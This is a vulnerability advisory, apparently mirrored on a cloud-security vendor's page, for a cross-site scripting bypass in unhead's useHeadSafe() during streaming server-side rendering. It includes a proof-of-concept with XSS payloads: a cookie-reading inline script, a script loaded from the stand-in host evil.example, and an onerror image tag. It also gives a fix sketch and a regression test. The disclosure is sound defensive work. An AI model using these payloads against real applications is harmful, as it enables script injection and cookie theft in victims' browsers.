
PEACH
Un cadre d’isolation des locataires
useHeadSafe marker, so SafeInputPlugin never filters them| Field | Value |
|---|---|
| Package | unhead (npm, pkg:npm/unhead) |
| Repository | https://github.com/unjs/unhead |
| Component | unhead/stream/server#renderStreamBodyTags (fed by splitStreamedBodyTags via renderSSRHeadSuspenseChunk) |
| Vulnerability class | Cross-site scripting (bypass of the safe-input filter) |
| CWE | CWE-79 |
| Severity (reporter assessment) | High |
| Verified against | Commit e3b084481fe018fe023f84576615906feacfc2a7 (v3.4.3) and the published npm package unhead@3.4.3. Other versions are not verified; earlier streaming-capable releases should be checked. |
| API surface | Public documented API: useHeadSafe() with wrapStream() / renderSSRHeadSuspenseChunk() / renderStreamEnd() |
| Affected in default configuration | Yes, for streaming SSR: wrapStream() turns on writesBodyTags automatically (server.ts:518-520). Non-streaming rendering is not affected. |
useHeadSafe() records its safe marker only as the entry option _safe. During streaming SSR, when a safe entry resolves after the shell has been flushed, renderSSRHeadSuspenseChunk() / splitStreamedBodyTags() move its body-positioned tags (tagPosition: 'bodyClose' / 'bodyOpen') into state.bodyTags as raw input objects ({ ...tag }), dropping the entry options. renderStreamBodyTags() then re-pushes each raw object with head.push(input) and no options, so SafeInputPlugin (which keys off ctx.entry.options._safe) does not run, and scripts and other content that useHeadSafe() is documented to reject are written straight into the response body.
The input to useHeadSafe() is, by design, untrusted: the documented use case is passing whole CMS or user-supplied objects. An attacker who controls such an object only needs it to include a tagPosition body value, an unsupported field that safe mode is expected to drop silently.
The same input is handled safely on every other path:
renderSSRHead() -> filtered, renders empty output (verified, see Reproduction)SafeInputPlugin normal path -> explicitly rejects script src (safe.ts:208-212)renderStreamBodyTags() -> unfiltered, re-pushed without _safe (server.ts:373-374)An attacker who can influence an object passed to useHeadSafe() can run arbitrary JavaScript in a victim's browser, in the origin of the consuming application, whenever the page is served through streaming SSR. Inline scripts, external script src and noscript markup containing event-handler HTML were all emitted in testing (see Reproduction).
The new capability is executable output. Without this bug, the same useHeadSafe() entry is reduced to the safe allowlist: executable scripts and unsupported tags/attributes are dropped, as they are in non-streaming rendering and in the streaming shell.
Not scored with CVSS. Exploitability depends on whether the consuming application passes attacker-influenced data to useHeadSafe() and on when that entry resolves. Not affected: applications that do not use streaming SSR (or have writesBodyTags disabled), applications whose safe entries are all registered before the shell is flushed, and applications that never pass untrusted input to useHeadSafe().
wrapStream() enables writesBodyTags automatically (server.ts:518-520); it can also be set directly with createStreamableHead({ writesBodyTags: true }).useHeadSafe() entry is registered, or resolves, after the shell has been flushed.useHeadSafe(), which is the documented use case for that API.tagPosition: 'bodyClose' or 'bodyOpen'. (A variant where the caller gives the safe entry itself a body position option is plausible from the code but was not separately verified.)
No non-standard usage, monkey-patching or unusual configuration is required. The useHeadSafe docs (docs/head/7.api/composables/1.use-head-safe.md) state that executable scripts are rejected and unsupported tags/attributes are silently dropped, and do not describe filtering as the caller's responsibility. The streaming guide (docs/0.typescript/head/guides/1.core-concepts/5.streaming.md) documents that wrapStream() sends late valid body tags before </body>. The typed HeadSafe schema may not include tagPosition, but untrusted JSON is not type-checked, and SafeInputPlugin exists to drop unsupported fields at runtime rather than rely on TypeScript.useHeadSafe(head, input) is stored with _safe only in entry.options, not on the input itself (composables.ts:17-19).renderSSRHeadSuspenseChunk() resolves the raw entry.input, and splitStreamedBodyTags() carries body-positioned raw tag objects into state.bodyTags as { ...tag }, without the entry options (server.ts:430-451, server.ts:316-350).renderStreamBodyTags() clears the map, re-pushes each carried object with no options and renders: for (const input of bodyTagInputs) head.push(input); const bodyTags = head.render().bodyTags (server.ts:363-378). Because _safe is absent, SafeInputPlugin skips these entries (safe.ts:248-256), and tagToString only escapes closing sequences/content and does not reject an external script src.renderStreamBodyTags() is public and is called by the public renderStreamEnd() (server.ts:394-404); wrapStream() enables writesBodyTags and calls renderStreamEnd() on completion (server.ts:518-520).packages/unhead/src/stream/server.ts, lines 363-378 at e3b084481fe018fe023f84576615906feacfc2a7 (excerpt; ... marks lines elided here, see the pinned source for the full range):
const bodyTagInputs = streamState(head).bodyTags
...
for (const input of bodyTagInputs)
head.push(input) // sink: re-pushed with no options, so _safe is lost and SafeInputPlugin does not run
const bodyTags = (head.render() as SSRHeadPayload).bodyTagsVerified dynamically with a Vitest PoC, at commit e3b084481fe018fe023f84576615906feacfc2a7 (v3.4.3) and against the published npm unhead@3.4.3.
Steps:
writesBodyTags: true and call renderShell().useHeadSafe() with body-positioned tags: an inline script, an external script src, and a noscript with event-handler HTML.renderSSRHeadSuspenseChunk(), then renderStreamEnd().
The snippet below follows that sequence. The verified run finished with renderStreamEnd(); this snippet calls renderStreamBodyTags(), which renderStreamEnd() calls internally (server.ts:394-404). The noscript entry's exact input shape is an assumption based on the test description.import { useHeadSafe } from 'unhead'
import { createStreamableHead, renderShell, renderSSRHeadSuspenseChunk, renderStreamBodyTags } from 'unhead/stream/server'
const { head } = createStreamableHead({ disableDefaults: true, writesBodyTags: true })
renderShell(head)
// Untrusted object, registered after the shell
useHeadSafe(head as any, {
script: [
{ innerHTML: 'alert(document.cookie)', tagPosition: 'bodyClose' },
{ src: 'https://evil.example/x.js', tagPosition: 'bodyClose' },
],
noscript: [
{ innerHTML: '<img src=x onerror=alert(1)>', tagPosition: 'bodyClose' },
],
} as any)
renderSSRHeadSuspenseChunk(head)
console.log(renderStreamBodyTags(head))Observed output (from the verified run):
<script>alert(document.cookie)</script><script src="https://evil.example/x.js"></script><noscript><img src=x onerror=alert(1)></noscript>Controls: the same inputs rendered through non-streaming renderSSRHead(), and through the streaming shell, produced empty output, which shows the safe filter normally strips them.
useHeadSafe(), matching the non-streaming and shell behaviour.noscript payload are all emitted into the response body.Late body tags carried for streaming should keep the safe status of the entry they came from, so SafeInputPlugin runs when they are re-rendered.
Sketch only: the exact shape of state.bodyTags was not checked against the project's types, and this patch has not been run.
// splitStreamedBodyTags(): carry the originating entry's options with each tag
state.bodyTags.push({ input: { ...tag }, options: entry.options })
// renderStreamBodyTags(): re-push with those options so _safe is preserved
for (const { input, options } of bodyTagInputs)
head.push(input, options)Alternative form: filter or normalize safe entries (run the SafeInputPlugin logic on useHeadSafe input) before splitStreamedBodyTags() carries them, so only already-sanitized tags ever reach state.bodyTags.
Notes:
state.bodyTags, not just script. Testing confirmed inline script, external script src and noscript bypasses. JSON-LD is also carried on this path; its behaviour under safe mode here was not assessed.renderStreamBodyTags() re-pushing carried inputs was identified as affected. It is reached through renderStreamEnd() and wrapStream(), so fixing the carry/re-push covers both.renderSSRHead(), safe entries rendered in the streaming shell, and the SafeInputPlugin allowlist itself (safe.ts:208-212).tagPosition field) needs separate handling was not verified.
Suggested regression test alongside the existing streaming tests (specific file not identified here): with createStreamableHead({ writesBodyTags: true }), call renderShell(), then useHeadSafe() with { script: [{ innerHTML: 'alert(1)', tagPosition: 'bodyClose' }, { src: 'https://evil.example/x.js', tagPosition: 'bodyClose' }], noscript: [{ innerHTML: '<img src=x onerror=alert(1)>', tagPosition: 'bodyClose' }] }, then renderSSRHeadSuspenseChunk() and renderStreamEnd(). Assert the body output contains no <script and no onerror, matching the empty output of renderSSRHead() for the same input.Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."